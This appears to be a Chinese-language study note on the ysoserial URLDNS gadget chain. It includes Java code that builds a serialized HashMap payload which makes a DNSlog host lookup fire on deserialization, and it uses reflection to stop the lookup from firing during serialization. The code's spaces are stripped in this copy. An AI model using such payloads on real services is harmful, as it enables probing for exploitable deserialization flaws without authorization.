- 影响我们判断是否有URLDNS这个漏洞存在(因为我们是想要反序列化的时候触发)最重要的是其实在序列化之后URL类里面的hashCode已经被改变了,反序列化的时候并不会触发
URLDNS链
访客
听说这个链子是最简单的链子之一了,但是却是来来回回看了好多遍才勉强看明白。在ysoserial中我们可以看见链子是这样的:*GadgetChain:*HashMap.readObject()*HashMap.putVal()*HashMap.hash()*URL.hashCode()简单流程:1.HashMap接收一个类O(URL类)2.类O(URL类)的hashCode()后续的一串链子可以发起DNS请求3.HashMap的readObject刚好可以调用O.hashCode();现在我们来编写类来观察如何触发DNS请求packagepacket1; importjava.io.FileOutputStream; importjava.io.IOException; importjava.io.ObjectOutputStream; importjava.lang.reflect.Field; importjava.net.URL; importjava.util.HashMap; publicclassSerializeTest{ publicstaticvoidserialize(Objectobj)throwsIOException{ ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin")); oos.writeObject(obj); } publicstaticvoidmain(String[]args)throwsException{ HashMap<URL,Integer>hashmap=newHashMap<URL,Integer>(); URLurl=newURL("http://25d13c3b.dns.1433.eu.org"); Class<?extendsURL>clazz=url.getClass(); hashmap.put(url,1); serialize(hashmap); } } 这个类可以进行序列化,按照正常来说序列化的过程是不会进行DNS请求的,但是我们查看DNSlog平台:发现序列化的时候就发起请求了,这样有几个非常不好的地方:packagepacket1; importjava.io.FileOutputStream; importjava.io.IOException; importjava.io.ObjectOutputStream; importjava.lang.reflect.Field; importjava.net.URL; importjava.util.HashMap; publicclassSerializeTest{ publicstaticvoidserialize(Objectobj)throwsIOException{ ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin")); oos.writeObject(obj); } publicstaticvoidmain(String[]args)throwsException{ HashMap<URL,Integer>hashmap=newHashMap<URL,Integer>(); URLurl=newURL("http://25d13c3b.dns.1433.eu.org"); Class<?extendsURL>clazz=url.getClass(); Fieldfield=clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,1234); hashmap.put(url,1); field.set(url,-1); serialize(hashmap); } } 在put之前我们改变url的hashCode值不为-1,put之后我们把url的hashCode改为-1,之后再对hashmap进行序列化。反序列化代码:packagepacket1; importjava.io.FileInputStream; importjava.io.IOException; importjava.io.ObjectInputStream; publicclassUnSerializeTest{ publicstaticObjectunSerialize(StringFilename)throwsIOException,ClassNotFoundException{ ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename)); Objectobj=ois.readObject(); returnobj; } publicstaticvoidmain(String[]args)throwsIOException,ClassNotFoundException{ unSerialize("ser.bin"); } } 经过测试之后,序列化的时候不会发起DNS请求,反序列化之后可以发起DNS请求.